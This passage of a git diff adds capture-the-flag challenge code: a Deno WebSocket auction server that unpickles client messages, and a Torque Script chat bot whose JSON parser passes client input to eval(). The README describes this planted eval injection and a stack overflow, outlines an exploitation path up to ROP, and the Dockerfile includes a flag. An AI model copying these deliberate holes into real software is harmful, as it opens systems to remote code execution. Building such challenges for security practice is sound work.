+} +// Inherit from Request +ResetRequest.prototype = Object.create(Request.prototype); +PICKLE_GLOBAL_SCOPE['__main__.ResetRequest'] = ResetRequest; + +ResetRequest.prototype.process = async function (ws : PickleWebsocket) { + try { + await Deno.remove(`${ROOT}/wallet/loans.json`); + } catch (e) {} + try { + await Deno.remove(`${ROOT}/wallet/properties`, { recursive: true }); + } catch (e) {} + try { + await Deno.remove(`${ROOT}/wallet/balance.json`); + } catch (e) {} + + init(); + ResetResponse([true, "Reset complete"]).send(ws); +} + +export function ResetResponse(args) /* extends Response */ { + var _this = super_constructor(this, ResetResponse, args); + _this.success = args[0]; + _this.message = args[1]; + return _this; +} +// Inherit from Response +ResetResponse.prototype = Object.create(Response.prototype); +PICKLE_GLOBAL_SCOPE['__main__.ResetResponse'] = ResetResponse; + + + +async function init() { + if (!await file_exists(`${ROOT}/wallet/balance.json`)) { + try { + await Deno.mkdir(`${ROOT}/wallet`); + } catch (e) {} + try { + await Deno.mkdir(`${ROOT}/wallet/properties`); + } catch (e) {} + await Deno.writeTextFile(`${ROOT}/wallet/loans.json`, '[]'); + await Deno.writeTextFile(`${ROOT}/wallet/balance.json`, '{"sanddollars":3500000}'); + } +} +await init(); + +window.wss = new WebSocketServer(PORT); +console.log('Listening on 8080...'); +wss.on("connection", function (ws: WebSocketClient) { + const pws = new PickleWebsocket(ws); + window.current_client = pws; + + ws.on("message", function (message: string) { + console.log(message); + try { + pws.process(message); + } catch (e) { + console.error(e) + pws.send(Exception([e.toString()])); + } + }); +}); + diff --git a/brinebid/src/make_bundle.js b/brinebid/src/make_bundle.js new file mode 100644 index 0000000..983ba3b --- /dev/null +++ b/brinebid/src/make_bundle.js @@ -0,0 +1,23 @@ +import { bundle } from "https://deno.land/x/emit/mod.ts"; + +const result = await bundle('main.ts'); +console.log(result) +await Deno.writeTextFile('main.bundle.js', result.code); + +// Get the file name from the command line argument +const fileName = 'main.bundle.js'; + +// Read the file content as a string +const fileContent = await Deno.readTextFile(fileName); + +// Split the file content by line breaks +const lines = fileContent.split("\n"); + +// Filter out the lines that contain console.log +const filteredLines = lines.filter((line) => !line.includes("console.log")); + +// Join the filtered lines by an empty string to remove line breaks +const newContent = filteredLines.join(""); + +// Write the new content to the same file +await Deno.writeTextFile(fileName, newContent); diff --git a/brinebid/src/messages.ts b/brinebid/src/messages.ts new file mode 100644 index 0000000..84d013b --- /dev/null +++ b/brinebid/src/messages.ts @@ -0,0 +1,73 @@ +import { super_constructor } from "./lib/util.js"; +import { PICKLE_GLOBAL_SCOPE } from "./lib/pickle/pickle-ops.js"; +import { PythonObject } from "./lib/pickle/objects.js"; +import { Pickler } from "./lib/pickle/pickle.js"; +import { Unpickler } from "./lib/pickle/unpickle.js"; +import { WebSocketClient } from "https://deno.land/x/websocket@v0.1.4/mod.ts"; +import { Exception } from "./lib/pickle/objects.js"; + +export class PickleWebsocket { + constructor(ws : WebSocketClient) { + this.ws = ws; + } + send(obj) { + const out = Pickler.pickle(obj); + this.ws.send(out); + } + process(message) { + let struct = Unpickler.unpickle(message, 'base64'); + if (struct instanceof Message) { + struct = struct.body; + + } + if (struct instanceof Request) { + struct.process(this); + } else { + this.send(Exception(["Invalid request"])); + } + } + + ws : WebSocketClient; +} + + + +/* == Pickle objects == */ + +export function Message(args) /* extends PythonObject */ { + var _this = super_constructor(this, Message, args); + _this.sender = args[0]; + _this.body = args[1]; + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Message.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['__main__.Message'] = Message; + + + +export function Request(args) /* extends PythonObject */ { + var _this = super_constructor(this, Request, args); + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Request.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['__main__.Request'] = Request; + +Request.prototype.process = function (ws : PickleWebsocket) { + ws.send(Exception(["Not implemented"])); +} + + + +export function Response(args) /* extends PythonObject */ { + var _this = super_constructor(this, Response, args); + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Response.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['__main__.Response'] = Response; + +Response.prototype.send = function (pws : PickleWebsocket) { + pws.send(Message(['server',this])); +} diff --git a/brinebid/src/nginx.conf b/brinebid/src/nginx.conf new file mode 100644 index 0000000..2446116 --- /dev/null +++ b/brinebid/src/nginx.conf @@ -0,0 +1,27 @@ +server { + listen 80; + server_name localhost; + + + location / { + proxy_pass http://host.docker.internal:39723; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + } + + location /images/ { + # Require password + #auth_basic "Restricted"; + #auth_basic_user_file /etc/nginx/password.ht; + + root /opt/images; + try_files $uri $uri/ 404; + } + + #location /static { + # alias /static; + #} +} diff --git a/brinebid/src/wallet.ts b/brinebid/src/wallet.ts new file mode 100644 index 0000000..b2a7f77 --- /dev/null +++ b/brinebid/src/wallet.ts @@ -0,0 +1,202 @@ +import { random_int, super_constructor, format_currency } from "./lib/util.js"; +import { PICKLE_GLOBAL_SCOPE } from "./lib/pickle/pickle-ops.js"; +import { PythonObject } from "./lib/pickle/objects.js"; +import { PickleWebsocket, Request, Response } from "./messages.ts"; +import { file_exists } from "./lib/util.js"; +import { ROOT } from "./config.ts"; +import { PropertyToken } from "./auction.ts"; +import { get_loans } from "./loan.ts"; + +export async function get_current_balance() { + try { + const current_lot = await Deno.readTextFile(`${ROOT}/wallet/balance.json`); + console.log(current_lot); + return JSON.parse(current_lot); + } catch (e) { + console.error(e); + throw e; + return { sanddollars: 0 }; + } +} +export async function update_balance(val) { + try { + val = JSON.stringify(val); + await Deno.writeTextFile(`${ROOT}/wallet/balance.json`, val); + return true; + } catch (e) { + return false; + } +} + +export async function get_owned_properties() { + try { + console.log("get_owned_properties"); + const ents = await Deno.readDir(`${ROOT}/wallet/properties/`); + console.log(ents); + let props: any[] = []; + for await (const ent of ents) { + console.log("==============", ent); + const prop = await Deno.readTextFile(`${ROOT}/wallet/properties/${ent.name}`); + let prop_obj; + try { + prop_obj = JSON.parse(prop); + } catch (e) { + return Error(`Invalid property file: ${prop}`); + } + + props.push(prop_obj); + } + return props; + } catch (e) { + console.error(e); + return []; + } +} + + +export async function get_net_worth() { + let balance = await get_current_balance(); + let properties = await get_owned_properties(); + let loans = await get_loans(); + + let net_worth = balance.sanddollars; + for (let prop of properties) { + net_worth += prop.sell_price; + } + for (let loan of loans) { + net_worth -= loan.with_intrest; + } + return { + net_worth, + balance: balance.sanddollars, + properties, + loans, + } +} + + + +export function Wallet(args) /* extends PythonObject */ { + var _this = this; + _this = super_constructor(this, Wallet, args); + _this.balance = args[0]; + _this.properties = args[1]; + _this.loans = args[2]; + _this.netWorth = args[3]; + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Wallet.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['__main__.Wallet'] = Wallet; + + + +export function WalletRequest(args) /* extends Request */ { + var _this = this; + _this = super_constructor(this, WalletRequest, args); + return _this; +} +// Inherit from class Request +Object.setPrototypeOf(WalletRequest.prototype, Request.prototype); +PICKLE_GLOBAL_SCOPE['__main__.WalletRequest'] = WalletRequest; + +WalletRequest.prototype.process = async function (ws: PickleWebsocket) { + const info = await get_net_worth(); + const res = WalletResponse([ + info.balance, + info.properties.map((prop) => PropertyToken([ + prop.uuid, + prop.name, + prop.description, + prop.sell_price, + prop.image, + ])), + info.loans, + info.net_worth + ]); + res.send(ws); +} + + + +export function WalletResponse(args) /* extends Response */ { + var _this = this; + _this = super_constructor(this, WalletResponse, args); + _this.wallet = Wallet(args); + return _this; +} +// Inherit from class Response +Object.setPrototypeOf(WalletResponse.prototype, Response.prototype); +PICKLE_GLOBAL_SCOPE['__main__.WalletResponse'] = WalletResponse; + + + +export function SellPropertyRequest(args) /* extends Request */ { + var _this = this; + _this = super_constructor(this, SellPropertyRequest, args); + _this.uuid = args[0]; + return _this; +} +// Inherit from class Request +Object.setPrototypeOf(SellPropertyRequest.prototype, Request.prototype); +PICKLE_GLOBAL_SCOPE['__main__.SellPropertyRequest'] = SellPropertyRequest; + +SellPropertyRequest.prototype.process = async function (ws: PickleWebsocket) { + let properties = await get_owned_properties(); + if (properties instanceof Error) { + SellPropertyResponse([false, `Failed to get properties: ${properties}`, 0]).send(ws); + return; + } + let uuid = this.uuid; + let target_prop = null; + let index = 0; + for (let prop of properties) { + if (prop.uuid == uuid) { + target_prop = prop; + break; + } + index ++; + } + + if (!target_prop) { + SellPropertyResponse([false, "Property not found", 0]).send(ws); + return; + } + + let range = random_int(0, Math.floor(target_prop.sell_price * .05)); + range = range * (Math.random() > .33 ? 1 : -1); + let sale_price = target_prop.sell_price + Math.floor(range); + + properties.splice(index, 1); + let file_path = `${ROOT}/wallet/properties/${target_prop.uuid}.token`; + try { + //console.warn("Removing", file_path); + await Deno.remove(file_path); + } catch (e) { + console.error(e); + SellPropertyResponse([false, "Failed to remove property", 0]).send(ws); + return; + } + + let balance = await get_current_balance(); + balance.sanddollars += sale_price; + if (!await update_balance(balance)) { + SellPropertyResponse([false, "Failed to update balance", 0]).send(ws); + return; + } + + SellPropertyResponse([true, `Property successfully sold for ${format_currency(sale_price)}`, sale_price]).send(ws); +} + + +export function SellPropertyResponse(args) /* extends Response */ { + var _this = this; + _this = super_constructor(this, SellPropertyResponse, args); + _this.success = args[0]; + _this.message = args[1]; + _this.sale_price = args[2]; + return _this; +} +// Inherit from class Response +Object.setPrototypeOf(SellPropertyResponse.prototype, Response.prototype); +PICKLE_GLOBAL_SCOPE['__main__.SellPropertyResponse'] = SellPropertyResponse; diff --git a/chattge/.dockerignore b/chattge/.dockerignore new file mode 100644 index 0000000..261d4d4 --- /dev/null +++ b/chattge/.dockerignore @@ -0,0 +1,2 @@ +tmp* + diff --git a/chattge/.gitignore b/chattge/.gitignore new file mode 100644 index 0000000..1ddf55b --- /dev/null +++ b/chattge/.gitignore @@ -0,0 +1,3 @@ +.DS_Store +*.dso +*.log diff --git a/chattge/Dockerfile b/chattge/Dockerfile new file mode 100644 index 0000000..92688e6 --- /dev/null +++ b/chattge/Dockerfile @@ -0,0 +1,39 @@ +FROM --platform=i386 debian:bullseye-slim as base + +RUN apt-get update \ + && apt-get install -y --no-install-recommends wget ca-certificates +RUN mkdir -pm755 /etc/apt/keyrings \ + && wget -O /etc/apt/keyrings/winehq-archive.key https://dl.winehq.org/wine-builds/winehq.key \ + && wget -NP /etc/apt/sources.list.d/ https://dl.winehq.org/wine-builds/debian/dists/bullseye/winehq-bullseye.sources +RUN dpkg --add-architecture i386 \ + && apt-get update \ + && apt-get install -y --no-install-recommends winehq-stable xvfb xauth \ + && rm -rf /var/lib/apt/lists/* +RUN apt-get update \ + && apt-get install -y --no-install-recommends netcat python3 \ + && rm -rf /var/lib/apt/lists/* + +FROM base as build + +COPY chal /chal + +WORKDIR /chal +RUN chmod +x /chal/build.sh +RUN /chal/build.sh + +# ---------------------------------------------------------- +FROM base as run + +COPY --from=build /server.tar.gz /server.tar.gz +COPY --from=build /handout.tar.gz /handout.tar.gz + +RUN mkdir /chal +WORKDIR /chal +RUN tar xvzf /server.tar.gz + +# Or change to whatever you want +RUN echo "flag{shoutouts_to_maccarbstrings_cc_how_did_that_ever_ship}" > /chal/flag.txt + +EXPOSE 28080 + +ENTRYPOINT [ "/bin/bash", "/chal/start.sh" ] diff --git a/chattge/README.md b/chattge/README.md new file mode 100644 index 0000000..0ff6899 --- /dev/null +++ b/chattge/README.md @@ -0,0 +1,31 @@ +ChatTGE +----- + +**Description:** I tried to get the new crystal ball chat bot working, but it seems to have lost its marbles. Can you ask it to find the flag for me? + + + + +Spoilers +----- + +It's back! The Torque Game Engine web server that nobody asked for! Well, that's not true, fuzyll asked for _something_ and this is what he's getting: a WebSocket capable server written entirely in Torque Script, with JSON / SHA-1 / base64 implementations all lovingly hand rolled. + +Bugs: +- eval() injection in jsonParse leads to arbitrary script execution (cc, MissionInfo) +- Buffer overflow in dSprintf leads to echo() smashing the stack (cc, macCarbStrings.cc) + +The rest of the challenging aspect is just figuring out how to work around the scripting language and exploiting a stack smash under Wine. + +Expected exploitation path: +- Check exe and find OpenMBU-Beta-1.15 in strings and download engine source from GitHub +- Use modified Untorque or similar to decompile dso scripts into source +- Analyze scripts and find eval() injection +- Write payload to enumerate server and find script sources +- Write payload to read script sources +- Find dSprintf overflow either through analyzing engine or fuzzing +- Use dSprintf overflow to get ROP +- Use ROP to get arbitrary execution +- Use arbitrary execution to read flag and send back + +There are likely other solutions since it's a whole game engine from 2006 that is full of memory bugs. Considering dSprintf is used everywhere and doesn't bounds-check, most functions can give control of the stack. Those are generally everywhere, but people might find other holes in the engine would will certainly be interesting. \ No newline at end of file diff --git a/chattge/chal/ChatTGE.exe b/chattge/chal/ChatTGE.exe new file mode 100644 index 0000000..3f33f74 Binary files /dev/null and b/chattge/chal/ChatTGE.exe differ diff --git a/chattge/chal/build.sh b/chattge/chal/build.sh new file mode 100644 index 0000000..0c9dbbb --- /dev/null +++ b/chattge/chal/build.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +echo "flag{Test flag goes here}" > flag.txt + +wine regedit.exe "wine.reg" +xvfb-run -a python3 ./start.py -mod chattge -compileall + +mkdir server +cp -R chattge flag.txt main.cs start.py start.sh ChatTGE.exe wine.reg server + +mkdir handout +mkdir handout/chattge +cp chattge/*.dso chattge/index.html handout/chattge +cp console.log flag.txt main.cs ChatTGE.exe handout +cp /root/.wine/drive_c/windows/system32/kernel32.dll handout + +cd server +tar cvzf /server.tar.gz . +cd .. +cd handout +tar cvzf /handout.tar.gz . +cd .. diff --git a/chattge/chal/chattge/chat.cs b/chattge/chal/chattge/chat.cs new file mode 100644 index 0000000..59df6a6 --- /dev/null +++ b/chattge/chal/chattge/chat.cs @@ -0,0 +1,75 @@ +//----------------------------------------------------------------------------- +// Crystal (8) ball chat bot service +//----------------------------------------------------------------------------- + +autoreload($Con::File); + +function Chat::onConnect(%socket) { + echo("Connected: " @ %socket.address); +} + +function Chat::onMessage(%socket, %message) { + %parsed = jsonParse(%message); + if (getField(%parsed, 0) == -1) { + %error = "Parse error: " + @ getSubStr(%message, 0, getFields(%parsed, 1)) + @ "-->" + @ getSubStr(%message, getFields(%parsed, 1), strlen(%message)); + %message = new ScriptObject() { + name[0] = "type"; + name[1] = "value"; + type = "stderr"; + value = %error; + }; + %response = %socket.message(jsonPrint(%message)); + %message.delete(); + return; + } + + %message = getFields(%parsed, 1); + if (%message.type $= "message") { + devecho(">> " @ %message.value); + %value = getRandom(0, 19); + switch (%value) { + case 0: %result = "It is certain"; + case 1: %result = "It is decidedly so"; + case 2: %result = "Without a doubt"; + case 3: %result = "Yes definitely"; + case 4: %result = "You may rely on it"; + case 5: %result = "As I see it, yes"; + case 6: %result = "Most likely"; + case 7: %result = "Outlook good"; + case 8: %result = "Yes"; + case 9: %result = "Signs point to yes"; + case 10: %result = "Reply hazy try again"; + case 11: %result = "Ask again later"; + case 12: %result = "Better not tell you now"; + case 13: %result = "Cannot predict now"; + case 14: %result = "Concentrate and ask again"; + case 15: %result = "Don't count on it"; + case 16: %result = "My reply is no"; + case 17: %result = "My sources say no"; + case 18: %result = "Outlook not so good"; + case 19: %result = "Very doubtful"; + } + } else if (%message.type $= "calculator") { + %result = "No, I said we're not doing the stupid calculator thing."; + } else if (%message.type $= "PQ") { + %result = "WHERe"; // greetz IRD + } else { + %result = "I don't know what you mean by " @ %message.type @ "."; + } + + %message = new ScriptObject() { + name[0] = "type"; + name[1] = "value"; + type = "result"; + value = %result; + }; + %socket.message(jsonPrint(%message)); + %message.delete(); +} + +function Chat::onDisconnect(%socket) { + echo("Disconnected: " @ %socket.address); +} diff --git a/chattge/chal/chattge/defaults.cs b/chattge/chal/chattge/defaults.cs new file mode 100644 index 0000000..40d3ce2 --- /dev/null +++ b/chattge/chal/chattge/defaults.cs @@ -0,0 +1 @@ +$pref::Net::BindAddress = "0.0.0.0"; \ No newline at end of file diff --git a/chattge/chal/chattge/index.html b/chattge/chal/chattge/index.html new file mode 100644 index 0000000..772d67c --- /dev/null +++ b/chattge/chal/chattge/index.html @@ -0,0 +1,462 @@ + + + + + + + + + + ChatTGE + + + + + + +
    +
    +
    +

    ChatTGE

    +
    +
    +

    Back at it Again

    +
    + The web server you know and love +
    +
    + Now with upgraded capabilities +
    +
    + All in one hard-coded index.html +
    +
    +
    +

    Modernized and Better

    +
    + None of the bugs from last time +
    +
    + Two years of shader engine improvements +
    +
    + Convenient windows exe instead of a macOS app +
    +
    +
    +

    Contemporary Memes

    +
    + Hand-rolled SHA-1, base64, and JSON +
    +
    + Now accepting 255 of 256 byte values +
    +
    + Still no calculator! +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    +
    + Free CTF Preview. ChatTGE may provide inaccurate parses of messages. ChatTGE DC31Q Version +
    +
    +
    + + + + \ No newline at end of file diff --git a/chattge/chal/chattge/json.cs b/chattge/chal/chattge/json.cs new file mode 100644 index 0000000..b33698c --- /dev/null +++ b/chattge/chal/chattge/json.cs @@ -0,0 +1,267 @@ +//----------------------------------------------------------------------------- +// JSON Operations +// Hand-rolled, as promised +// If you're reading this, you probably already found the bug +//----------------------------------------------------------------------------- + +autoreload($Con::File); + +function jsonParse(%json) { + %len = strlen(%json); + %result = jsonParseInternal(%json); + if (getField(%result, 0) == -1) { + return %result; + } + + %pos = getField(%result, 0); + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + while (%pos < %len && isspace(%json, %pos)) { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + } + if (%pos != %len) + return -1 TAB %pos; + return %result; +} + +function jsonParseInternal(%json) { + %start = 0; + %len = strlen(%json); + while (isspace(%json, %start)) { + %start ++; + } + %first = getSubStr(%json, %start, 1); + switch$ (%first) { + case "{": // Object + %i = 0; + %object = new ScriptObject() {}; + %pos = %start + 1; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + while (%pos < %len) { + while (%pos < %len && isspace(%json, %pos)) { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + } + %name = jsonParseString(getSubStr(%json, %pos, %len), 0); + if (getField(%name, 0) == -1) { + %object.delete(); + return -1 TAB %pos; + } + %pos = %pos + getField(%name, 0); + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + %object.name[%i] = getField(%name, 1); + while (%pos < %len && isspace(%json, %pos)) { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + } + if (getSubStr(%json, %pos, 1) !$= ":") { + %object.delete(); + return -1 TAB %pos; + } + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + %item = jsonParseInternal(getSubStr(%json, %pos, %len)); + if (getField(%item, 0) == -1) { + %object.delete(); + return -1 TAB %pos; + } + %pos = %pos + getField(%item, 0); + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + // Looks like this version of torque is too old for setFieldValue + devecho(%object.getId() @ "." @ %object.name[%i] @ " = " @ + longstringify(getFields(%item, 1)) @ ";"); + eval(%object.getId() @ "." @ %object.name[%i] @ " = " @ + longstringify(getFields(%item, 1)) @ ";"); + while (%pos < %len && isspace(%json, %pos)) { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + } + if (getSubStr(%json, %pos, 1) $= "}") { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + break; + } + if (getSubStr(%json, %pos, 1) !$= ",") { + %object.delete(); + return -1 TAB %pos; + } + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + %i ++; + } + return %pos TAB %object; + case "[": // Array + %i = 0; + %array = new ScriptObject() { class = "Array"; }; + %pos = %start + 1; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + while (%pos < %len) { + %item = jsonParseInternal(getSubStr(%json, %pos, %len)); + if (getField(%item, 0) == -1) { + %array.delete(); + return -1 TAB %pos; + } + %pos = %pos + getField(%item, 0); + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + %array.item[%i] = getFields(%item, 1); + while (%pos < %len && isspace(%json, %pos)) { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + } + if (getSubStr(%json, %pos, 1) $= "]") { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + break; + } + if (getSubStr(%json, %pos, 1) !$= ",") { + %array.delete(); + return -1 TAB %pos; + } + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + %i ++; + } + return %pos TAB %array; + case "\"": // String + return jsonParseString(%json, %start); + case "0" or "1" or "2" or "3" or "4" + or "5" or "6" or "7" or "8" or "9": // Number + for (%pos = %start + 1; %pos < %len; %pos ++) { + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + if (strpos("0123456789", getSubStr(%json, %pos, 1)) == -1) { + break; + } + } + return %pos TAB getSubStr(%json, %start, %pos - %start); + case "t": // true + if (getSubStr(%json, %start, 4) $= "true") { + return %start + 4 TAB true; + } + case "f": // false + if (getSubStr(%json, %start, 5) $= "false") { + return %start + 5 TAB false; + } + default: + } + return -1 TAB %start; +} + +function jsonParseString(%json, %start) { + %len = strlen(%json); + if (getSubStr(%json, %start, 1) !$= "\"") + return -1 TAB %start; + for (%pos = %start + 1; %pos < %len; %pos ++) { + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + %ch = getSubStr(%json, %pos, 1); + if (%ch $= "\\") { + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + continue; + } + if (%ch $= "\"") { + break; + } + } + if (getSubStr(%json, %pos, 1) !$= "\"") + return -1 TAB %pos; + %pos ++; + devecho(%pos SPC getSubStr(%json, 0, %pos) @ "*" + @ getSubStr(%json, %pos, %len)); + return %pos TAB collapseEscape( + getSubStr(%json, %start + 1, %pos - %start - 2)); +} + +function jsonPrint(%object, %fancy) { + if (!isObject(%object)) { + if (%object $= "true" || %object $= "false") { + return %object; + } + %len = strlen(%object); + if (%len == 0) { + return "\"\""; + } + for (%i = 0; %i < %len; %i ++) { + if (strpos("0123456789", getSubStr(%object, %i, 1)) == -1) { + // It's a string + // Can't use expandEscape because single quotes + %object = strreplace(%object, "\\", "\\\\"); + %object = strreplace(%object, "\r", "\\r"); + %object = strreplace(%object, "\n", "\\n"); + %object = strreplace(%object, "\"", "\\\""); + return "\"" @ %object @ "\""; + } + } + return %object; + } else { + if (%object.class $= "Array") { + %result = "["; + for (%i = 0; %object.item[%i] !$= ""; %i ++) { + %child = jsonPrint(%object.item[%i], %fancy); + devecho("child printed to " @ %child); + if (%fancy) { + %child = strreplace(%child, "\n", "\n "); + } + if (%i > 0) { + %result = %result @ ","; + } + if (%fancy) { + %result = %result NL " "; + } + %result = %result @ %child; + } + if (%fancy) { + %result = %result @ "\n"; + } + %result = %result @ "]"; + return %result; + } else { + %result = "{"; + for (%i = 0; %object.name[%i] !$= ""; %i ++) { + // Too old for getFieldValue too + devecho("return " @ %object @ "." @ %object.name[%i] @ ";"); + %value = eval("return " @ %object @ "." @ %object.name[%i] @ ";"); + %child = jsonPrint(%value, %fancy); + devecho("child printed to " @ %child); + if (%fancy) { + %child = strreplace(%child, "\n", "\n "); + } + if (%i > 0) { + %result = %result @ ","; + } + if (%fancy) { + %result = %result NL " "; + } + %result = %result @ "\"" @ expandEscape(%object.name[%i]) @ "\":"; + if (%fancy) { + %result = %result @ " "; + } + %result = %result @ %child; + } + if (%fancy) { + %result = %result @ "\n"; + } + %result = %result @ "}"; + return %result; + } + } +} + diff --git a/chattge/chal/chattge/main.cs b/chattge/chal/chattge/main.cs new file mode 100644 index 0000000..17cae06 --- /dev/null +++ b/chattge/chal/chattge/main.cs @@ -0,0 +1,95 @@ +//----------------------------------------------------------------------------- +// ChatTGE +// Mod script that just loads the real scripts +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// Load up defaults console values. + +$hostName = ""; +$listenPort = 28080; + +// Defaults console values +exec("./defaults.cs"); + +//----------------------------------------------------------------------------- +// Package overrides to initialize the mod. +package ChatTGE { + +function displayHelp() { + Parent::displayHelp(); + error( + "Web Mod options:\n" @ + " -listen Start by listening on \n" @ + " -host Only allow connections with Host \n" + ); +} + +function parseArgs() { + Parent::parseArgs(); + + // Arguments, which override everything else. + for (%i = 1; %i < $Game::argc; %i ++) { + %arg = $Game::argv[%i]; + %nextArg = $Game::argv[%i+1]; + %hasNextArg = $Game::argc - %i > 1; + + switch$ (%arg) { + case "-listen": + $argUsed[%i]++; + if (%hasNextArg) { + $listenPort = %nextArg; + $argUsed[%i+1]++; + %i++; + } else { + error("Error: Missing Command Line argument." SPC + "Usage: -listen "); + } + case "-host": + $argUsed[%i]++; + if (%hasNextArg) { + $hostName = %nextArg; + $argUsed[%i+1]++; + %i++; + } else { + error("Error: Missing Command Line argument." SPC + "Usage: -host "); + } + } + } +} + +function onStart() { + Parent::onStart(); + echo("\n--------- Initializing MOD: ChatTGE ---------"); + + // Load the scripts that start it all... + exec("./chat.cs"); + exec("./sha1.cs"); + exec("./json.cs"); + exec("./utils.cs"); + exec("./websocket.cs"); + + enableWinConsole(true); + + startWebSocketServer($listenPort, $hostName); +} + +function onExit() { + Parent::onExit(); +} + +}; // Client package +activatePackage(ChatTGE); + +// Debug assistance +function autoreload(%file) { + %newCRC = getFileCRC(%file); + if ($lastCRC[%file] !$= %newCRC) { + $lastCRC[%file] = %newCRC; + exec(%file); + setModPaths(getModPaths()); + } + cancel($autoloop[%file]); + $autoloop[%file] = schedule(1000, 0, autoreload, %file); +} diff --git a/chattge/chal/chattge/sha1.cs b/chattge/chal/chattge/sha1.cs new file mode 100644 index 0000000..00ff33b --- /dev/null +++ b/chattge/chal/chattge/sha1.cs @@ -0,0 +1,210 @@ +// I promise these are correct +// If you find yourself looking for bugs in SHA1, +// you've probably gone the wrong way. +// I really hope these are correct + +//----------------------------------------------------------------------------- +// Oh no +//----------------------------------------------------------------------------- + +autoreload($Con::File); + +function b64encode(%str) { + %bitCount = 0; + %slen = strlen(%str); + for (%i = 0; %i < %slen; %i += 2) { + %ch = hex2dec(getSubStr(%str, %i, 2)); + + %bit[%bitCount + 7] = (%ch & 1) >> 0; + %bit[%bitCount + 6] = (%ch & 2) >> 1; + %bit[%bitCount + 5] = (%ch & 4) >> 2; + %bit[%bitCount + 4] = (%ch & 8) >> 3; + %bit[%bitCount + 3] = (%ch & 16) >> 4; + %bit[%bitCount + 2] = (%ch & 32) >> 5; + %bit[%bitCount + 1] = (%ch & 64) >> 6; + %bit[%bitCount + 0] = (%ch & 128) >> 7; + %bitCount += 8; + } + %map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + %result = ""; + for (%i = 0; %i + 5 < %bitCount; %i += 6) { + %idx = %bit[%i + 0] << 5 + | %bit[%i + 1] << 4 + | %bit[%i + 2] << 3 + | %bit[%i + 3] << 2 + | %bit[%i + 4] << 1 + | %bit[%i + 5] << 0; + %result = %result @ getSubStr(%map, %idx, 1); + } + if (%bitCount - %i == 2) { + %idx = %bit[%i + 0] << 5 + | %bit[%i + 1] << 4; + %result = %result @ getSubStr(%map, %idx, 1) @ "=="; + } + if (%bitCount - %i == 4) { + %idx = %bit[%i + 0] << 5 + | %bit[%i + 1] << 4 + | %bit[%i + 2] << 3 + | %bit[%i + 3] << 2; + %result = %result @ getSubStr(%map, %idx, 1) @ "="; + } + + return %result; +} + +//----------------------------------------------------------------------------- +// OH NO +//----------------------------------------------------------------------------- + +function sha1(%str) { + %byteCount = 0; + %slen = strlen(%str); + for (%i = 0; %i < %slen; %i ++) { + %byte[%byteCount] = ord(getSubStr(%str, %i, 1)); %byteCount ++; + } + %byte[%byteCount] = 0x80; %byteCount ++; + while (%byteCount % 64 != 56) { + %byte[%byteCount] = 0x00; %byteCount ++; + } + // Torque ints are 32 bit so you will not get any more data + %byte[%byteCount] = 0x00; %byteCount ++; + %byte[%byteCount] = 0x00; %byteCount ++; + %byte[%byteCount] = 0x00; %byteCount ++; + %byte[%byteCount] = 0x00; %byteCount ++; + %byte[%byteCount] = ((%slen << 3) & 0xFF000000) >> 24; %byteCount ++; + %byte[%byteCount] = ((%slen << 3) & 0xFF0000) >> 16; %byteCount ++; + %byte[%byteCount] = ((%slen << 3) & 0xFF00) >> 8; %byteCount ++; + %byte[%byteCount] = (%slen << 3) & 0xFF; %byteCount ++; + + %h0 = 0x67452301; + %h1 = 0xEFCDAB89; + %h2 = 0x98BADCFE; + %h3 = 0x10325476; + %h4 = 0xC3D2E1F0; + + for (%chunk = 0; %chunk < %byteCount; %chunk += 64) { + %a = %h0 ^ 0; + %b = %h1 ^ 0; + %c = %h2 ^ 0; + %d = %h3 ^ 0; + %e = %h4 ^ 